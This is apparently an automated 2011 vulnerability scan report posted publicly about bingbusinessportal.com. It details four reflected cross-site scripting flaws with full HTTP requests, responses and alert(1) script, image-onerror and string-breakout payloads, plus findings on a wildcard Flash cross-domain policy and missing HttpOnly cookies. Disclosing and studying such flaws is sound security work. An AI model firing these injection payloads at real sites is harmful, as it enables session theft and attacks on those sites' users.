XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, bingbusinessportal.com

Report generated by XSS.CX at Sat Aug 27 11:44:36 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

XSS in bingbusinessportal.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://www.bingbusinessportal.com/Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CAddress%20Book%20Lookup%5C%5CYN206x400147109f75ba.GetObjectListDataAsJSON [REST URL parameter 1]

1.2. http://www.bingbusinessportal.com/Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CLocal%20Businesses.GetObjectListDataAsJSON [aUse parameter]

1.3. http://www.bingbusinessportal.com/Node:%5Bsystem%5D.GetObjectListDataAsJSON [aUse parameter]

1.4. http://www.bingbusinessportal.com/default.aspx [id parameter]

2. Flash cross-domain policy

3. Cross-domain Referer leakage

4. Cross-domain script include

5. Cookie without HttpOnly flag set

6. Robots.txt file

7. Content type incorrectly stated

7.1. http://www.bingbusinessportal.com/Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CAddress%20Book%20Lookup%5C%5CYN206x400147109f75ba.GetObjectListDataAsJSON

7.2. http://www.bingbusinessportal.com/Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CLocal%20Businesses.GetObjectListDataAsJSON

7.3. http://www.bingbusinessportal.com/Node:%5Bsystem%5D.GetObjectListDataAsJSON

7.4. http://www.bingbusinessportal.com/Node:BINGL0000100001000080000700003.GetTabsV2AsJSON



1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.bingbusinessportal.com/Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CAddress%20Book%20Lookup%5C%5CYN206x400147109f75ba.GetObjectListDataAsJSON [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bingbusinessportal.com
Path:   /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CAddress%20Book%20Lookup%5C%5CYN206x400147109f75ba.GetObjectListDataAsJSON

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 5a9b0<script>alert(1)</script>002f1c5bc5f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CAddress%20Book%20Lookup%5C%5CYN206x400147109f75ba.GetObjectListDataAsJSON5a9b0<script>alert(1)</script>002f1c5bc5f?aDataTypeList=Business%2CAddress%2CPhoneNumber%2CCity%2CStateOrProvince%2CPostalCode%2CGeoCoords%2CLatitude%2CLongitude%2CAddressLine1%2CAddressLine2%2CState%2CZipcode%2CDisplayName%2CFormatted%20Name%2CBusiness%20address%20line%201%2CBusiness%20address%20city%2CBusiness%20address%20state%2CBusiness%20address%20zip%20code%2CBusiness%20address%20latitude%2CBusiness%20address%20longitude&aUse=Node&aCountSubNodes=Y HTTP/1.1
Host: www.bingbusinessportal.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
x-LiveRequest: Y
Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553

Response

HTTP/1.0 404 Not Found
Content-Length: 188
Date: Sat, 27 Aug 2011 17:34:38 GMT
Content-Type: text/html; charset=UTF-8
X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110827123438499_4816_1070885,BingCache2-Realtime-1_20110827173438499_4280_1
X-LCCacheResult: C=N;S=N;T=28
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Mon, 1 Jan 2001 01:00:00 GMT

<h1>Item not Found: node:[application]\\structure\\content\\livelookups\\address book lookup\\yn206x400147109f75ba.getobjectlistdataasjson5a9b0<script>alert(1)</script>002f1c5bc5f</h1>

1.2. http://www.bingbusinessportal.com/Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CLocal%20Businesses.GetObjectListDataAsJSON [aUse parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bingbusinessportal.com
Path:   /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CLocal%20Businesses.GetObjectListDataAsJSON

Issue detail

The value of the aUse request parameter is copied into the HTML document as plain text between tags. The payload 746d4<img%20src%3da%20onerror%3dalert(1)>08e25d19d82 was submitted in the aUse parameter. This input was echoed as 746d4<img src=a onerror=alert(1)>08e25d19d82 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CLocal%20Businesses.GetObjectListDataAsJSON?aDataTypeList=DisplayName&aUse=LiveLookup746d4<img%20src%3da%20onerror%3dalert(1)>08e25d19d82&aCountSubNodes=Y&aSourceFilter=JSON%3A%5B%7B%22DataType%22%3A%22YPID%22%2C%22Condition%22%3A%22Equal%20To%22%2C%22Value%22%3A%5B%7B%22Text%22%3A%22YN206x400147109f75ba%22%7D%5D%7D%5D HTTP/1.1
Host: www.bingbusinessportal.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
x-LiveRequest: Y
Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553

Response

HTTP/1.0 200 OK
Content-Length: 191
Date: Sat, 27 Aug 2011 17:34:37 GMT
Content-Type: application/json; charset=UTF-8
X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827123437030_1332_1020150,BingCache1-Realtime-1_20110827173437030_1896_1
X-LCCacheResult: C=N;S=N;T=27
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Sat, 27 Aug 2011 17:34:38 GMT
Last-Modified: Sat, 27 Aug 2011 17:34:37 GMT
Cache-Control: max-age=0,s-max-age=0,public

{"Error":true,"ErrorCode":"GENER0001","Message":"Bad Use Value: LiveLookup746d4<img src=a onerror=alert(1)>08e25d19d82","RequestID":"LAMWeb4-Bing-RealTime-1_20110827123437030_1332_1020150"}

1.3. http://www.bingbusinessportal.com/Node:%5Bsystem%5D.GetObjectListDataAsJSON [aUse parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bingbusinessportal.com
Path:   /Node:%5Bsystem%5D.GetObjectListDataAsJSON

Issue detail

The value of the aUse request parameter is copied into the HTML document as plain text between tags. The payload 1f12d<img%20src%3da%20onerror%3dalert(1)>b9db6845c4 was submitted in the aUse parameter. This input was echoed as 1f12d<img src=a onerror=alert(1)>b9db6845c4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /Node:%5Bsystem%5D.GetObjectListDataAsJSON?aDataTypeList=PrimaryDomain&aUse=Node1f12d<img%20src%3da%20onerror%3dalert(1)>b9db6845c4&aCountSubNodes=Y HTTP/1.1
Host: www.bingbusinessportal.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
x-LiveRequest: Y
Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553

Response

HTTP/1.0 200 OK
Content-Length: 183
Date: Sat, 27 Aug 2011 17:35:56 GMT
Content-Type: application/json; charset=UTF-8
X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827123556077_760_1020258,BingCache1-Realtime-1_20110827173556077_5564_1
X-LCCacheResult: C=N;S=N;T=25
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Sat, 27 Aug 2011 17:35:57 GMT
Last-Modified: Wed, 24 Aug 2011 22:23:09 GMT
Cache-Control: max-age=0,s-max-age=0,public

{"Error":true,"ErrorCode":"GENER0001","Message":"Bad Use Value: Node1f12d<img src=a onerror=alert(1)>b9db6845c4","RequestID":"LAMWeb4-Bing-RealTime-1_20110827123556077_760_1020258"}

1.4. http://www.bingbusinessportal.com/default.aspx [id parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bingbusinessportal.com
Path:   /default.aspx

Issue detail

The value of the id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f75ba"%3balert(1)//35b94a2a553 was submitted in the id parameter. This input was echoed as f75ba";alert(1)//35b94a2a553 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /default.aspx?op=edit&id=YN206x400147109f75ba"%3balert(1)//35b94a2a553 HTTP/1.1
Host: www.bingbusinessportal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Content-Length: 12445
Date: Sat, 27 Aug 2011 17:33:18 GMT
Content-Type: text/html; charset=UTF-8
X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110827123318046_4816_1070694,BingCache1-Realtime-1_20110827173318030_4552_1
X-LCCacheResult: C=N;S=N;T=47
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Mon, 1 Jan 2001 01:00:00 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-us" xml:lang="en-us" xmlns="http://www.w3.org/1999/xhtml">

...[SNIP]...
itialize = function() {
window.location.hash = "#_CONTENT=[Application]\\\\Structure\\\\Organization\\\\Entities\\\\Public Entity\\\\Public Token User{{Form:Claim}}&selected ypid=YN206x400147109f75ba";alert(1)//35b94a2a553";
var firstHash = LO.History.getHash();
LO.History.extractVars(firstHash);
LO.History.getDirectUrl({
newLocation: firstHash,
Callback: LO.System.InitializeComplete,

...[SNIP]...

2. Flash cross-domain policy  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bingbusinessportal.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.bingbusinessportal.com

Response

HTTP/1.0 200 OK
Content-Length: 321
Date: Sat, 27 Aug 2011 17:33:13 GMT
Content-Type: text/xml; charset=UTF-8
X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110826222744515_2476_1033376,BingCache1-Realtime-1_20110827173313140_688_1
X-LCCacheResult: C=N;S=Y;T=0
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Fri, 22 Jun 2012 03:27:44 GMT
Last-Modified: Sat, 27 Aug 2011 03:27:44 GMT
Cache-Control: max-age=25920000,s-max-age=25920000,public

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all" />
...[SNIP]...
<allow-access-from domain="*" />
...[SNIP]...

3. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bingbusinessportal.com
Path:   /default.aspx

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /default.aspx?op=edit&id=YN206x400147109 HTTP/1.1
Host: www.bingbusinessportal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Content-Length: 12417
Date: Sat, 27 Aug 2011 17:33:12 GMT
Content-Type: text/html; charset=UTF-8
X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827123312905_3904_1019965,BingCache2-Realtime-1_20110827173312905_3664_1
X-LCCacheResult: C=N;S=N;T=57
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Mon, 1 Jan 2001 01:00:00 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-us" xml:lang="en-us" xmlns="http://www.w3.org/1999/xhtml">

...[SNIP]...
<link type="text/css" id="PrimaryCSS" rel="Stylesheet" href="/.css-min?BINGL00003000070000300006&fLiveUIMV=3" />
<script type="text/javascript" src="http://platformjs.liveadmaker.com/.platformJS-min?__rv=1.09&fLiveUIMV=3&rt=20110805"></script>
<script type="text/javascript" src="http://platformjs.liveadmaker.com/.WidgetsJS-min?__rv=1.09&fLiveUIMV=3&rt=20110805&ex=j||f||n||h||d||o||s"></script>
<script type="text/javascript" src="http://platformjs.liveadmaker.com/.FormWidgetsJS-min?__rv=1.09&fLiveUIMV=3&rt=20110805"></script>
...[SNIP]...
</style>
<script src="http://ecn.dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=7.0" type="text/javascript" charset="UTF-8"></script>
...[SNIP]...
<li><a href="http://www.bing.com/search?q=&amp;FORM=BWFD">Web</a></li><li><a href="http://www.bing.com/images/search?q=&amp;FORM=BIFD">Images</a></li><li><a href="http://www.bing.com/videos/search?q=&amp;FORM=BVFD">Videos</a></li><li><a href="http://www.bing.com/shopping/search?q=&amp;mkt=en-US&amp;FORM=BPFD">Shopping</a></li><li><a href="http://www.bing.com/news/search?q=&amp;FORM=BNFD">News</a></li><li><a href="http://www.bing.com/maps/default.aspx?q=&amp;mkt=en-US&amp;FORM=BYFD">Maps</a></li><li><a href="http://www.bing.com/explore?q=&amp;FORM=BXFD">More</a>
...[SNIP]...
<li><a href="http://www.msn.com/">MSN</a></li><li><a href="http://mail.live.com/">Hotmail</a>
...[SNIP]...
<div class="sw_box"><a href="http://www.bing.com/" class="sw_logo"><span class="sw_logoT">
...[SNIP]...
<li><a href="http://g.live.com/9uxp9en-us/ftr1" target="_blank">&#169; 2011 Microsoft</a>
...[SNIP]...
<li><a href="http://go.microsoft.com/fwlink/?LinkId=74170" target="_blank">Privacy</a> | </li><li><a href="http://g.msn.com/0TO_/enus" target="_blank">Legal</a>
...[SNIP]...
<li><a href="https://support.discoverbing.com/default.aspx?productKey=bingbusinessportal" target="_blank">Support</a>
...[SNIP]...

4. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bingbusinessportal.com
Path:   /default.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /default.aspx HTTP/1.1
Host: www.bingbusinessportal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Content-Length: 12365
Date: Sat, 27 Aug 2011 17:33:12 GMT
Content-Type: text/html; charset=UTF-8
X-LCRequestID: LAMWeb4-Bing-RealTime-1_20110827123312515_3904_1019964,BingCache1-Realtime-1_20110827173312515_1224_1
X-LCCacheResult: C=N;S=N;T=55
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Mon, 1 Jan 2001 01:00:00 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-us" xml:lang="en-us" xmlns="http://www.w3.org/1999/xhtml">

...[SNIP]...
<link type="text/css" id="PrimaryCSS" rel="Stylesheet" href="/.css-min?BINGL00003000070000300006&fLiveUIMV=3" />
<script type="text/javascript" src="http://platformjs.liveadmaker.com/.platformJS-min?__rv=1.09&fLiveUIMV=3&rt=20110805"></script>
<script type="text/javascript" src="http://platformjs.liveadmaker.com/.WidgetsJS-min?__rv=1.09&fLiveUIMV=3&rt=20110805&ex=j||f||n||h||d||o||s"></script>
<script type="text/javascript" src="http://platformjs.liveadmaker.com/.FormWidgetsJS-min?__rv=1.09&fLiveUIMV=3&rt=20110805"></script>
...[SNIP]...
</style>
<script src="http://ecn.dev.virtualearth.net/mapcontrol/mapcontrol.ashx?v=7.0" type="text/javascript" charset="UTF-8"></script>
...[SNIP]...

5. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bingbusinessportal.com
Path:   /l.a/cnt/1314466498809

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /l.a/cnt/1314466498809?cid=592816214&u=_CONTENT%3D%5BApplication%5D%5C%5CStructure%5C%5COrganization%5C%5CEntities%5C%5CPublic%20Entity%5C%5CPublic%20Token%20User%7B%7BForm%3AClaim%7D%7D%26selected%20ypid%3DYN206x400147109f75ba&ru=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&sr=1920x1200&bt=Other&bv=3 HTTP/1.1
Host: www.bingbusinessportal.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553

Response

HTTP/1.0 204 No Content
Server: LiveCache/2.4a
Date: Sat, 27 Aug 2011 17:34:30 GMT
Content-Type: text/plain
X-LSRequestID: BingCache2-Realtime-1_20110827173430265_4364_1
Content-Length: 0
Set-Cookie: l.a.s=%3F592816214%3D1; Path=/l.a/;
Set-Cookie: l.a.p=%3F592816214%3D40782.7322947338; Path=/l.a/; expires=Tue, 24 Aug 2021 17:34:30 GMT
P3P: CP="ADM OUR IND NOI DSP COR COM NAV"
Connection: close


6. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bingbusinessportal.com
Path:   /default.aspx

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.bingbusinessportal.com

Response

HTTP/1.0 200 OK
Content-Length: 28
Date: Sat, 27 Aug 2011 17:33:13 GMT
Content-Type: text/plain; charset=UTF-8
X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110827123313483_4816_1070683,BingCache2-Realtime-1_20110827173313483_4536_1
X-LCCacheResult: C=N;S=N;T=20
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Sun, 28 Aug 2011 17:33:13 GMT
Last-Modified: Sat, 27 Aug 2011 17:33:13 GMT
Cache-Control: max-age=86400,s-max-age=86400,public

User-agent: *
Disallow: /

7. Content type incorrectly stated  previous
There are 4 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


7.1. http://www.bingbusinessportal.com/Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CAddress%20Book%20Lookup%5C%5CYN206x400147109f75ba.GetObjectListDataAsJSON  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.bingbusinessportal.com
Path:   /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CAddress%20Book%20Lookup%5C%5CYN206x400147109f75ba.GetObjectListDataAsJSON

Issue detail

The response contains the following Content-type statement:The response states that it contains JSON. However, it actually appears to contain plain text.

Request

GET /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CAddress%20Book%20Lookup%5C%5CYN206x400147109f75ba.GetObjectListDataAsJSON?aDataTypeList=Business%2CAddress%2CPhoneNumber%2CCity%2CStateOrProvince%2CPostalCode%2CGeoCoords%2CLatitude%2CLongitude%2CAddressLine1%2CAddressLine2%2CState%2CZipcode%2CDisplayName%2CFormatted%20Name%2CBusiness%20address%20line%201%2CBusiness%20address%20city%2CBusiness%20address%20state%2CBusiness%20address%20zip%20code%2CBusiness%20address%20latitude%2CBusiness%20address%20longitude&aUse=Node&aCountSubNodes=Y HTTP/1.1
Host: www.bingbusinessportal.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
x-LiveRequest: Y
Referer: http://www.bingbusinessportal.com/default.aspx?op=edit&id=YN206x400147109f75ba%22%3balert(document.location)//35b94a2a553

Response

HTTP/1.0 200 OK
Content-Length: 665
X-LCUnCompressedSize: 665
Date: Sat, 27 Aug 2011 17:34:31 GMT
Content-Type: application/json; charset=UTF-8
X-LCRequestID: LAMWeb3-Bing-Realtime-1_20110827123431718_4816_1070822,BingCache2-Realtime-1_20110827173431718_4536_1
X-LCCacheResult: C=N;S=N;T=200
Server: LiveObjectWebServer/5.5 (rv=1.09)
P3P: CP="NOI DSP LAW NID PSA ADM OUR"
Expires: Sat, 27 Aug 2011 17:34:32 GMT
Last-Modified: Sat, 27 Aug 2011 17:34:31 GMT
Cache-Control: max-age=0,s-max-age=0,public

[{"__TOTALITEMS__":1,"Address":"","AddressLine1":"","AddressLine2":"","Business":"","Business address city":"","Business address latitude":"","Business address line 1":"","Business address longitude":
...[SNIP]...

7.2. http://www.bingbusinessportal.com/Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CLocal%20Businesses.GetObjectListDataAsJSON  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.bingbusinessportal.com
Path:   /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CLocal%20Businesses.GetObjectListDataAsJSON

Issue detail

The response contains the following Content-type statement:The response states that it contains JSON. However, it actually appears to contain plain text.

Request

GET /Node:%5BApplication%5D%5C%5CStructure%5C%5CContent%5C%5CLiveLookups%5C%5CLocal%20Businesses.GetObjectListDataAsJSON?aDataTypeList=DisplayName&aUse=LiveLookup&aCountSubNodes=Y&aSourceFilter=JSON%3A%5B%7B%22DataType%22%3A%22YPID%22%2C%22Condition%22%3A%22Equal%20To%22%2C%22Value%22%3A%5B%7B%22Text%22%3A%22YN206x400147109f75ba%22%7D%5D%7D%5D HTTP/1.1
Host: www.bingbusinessportal.com
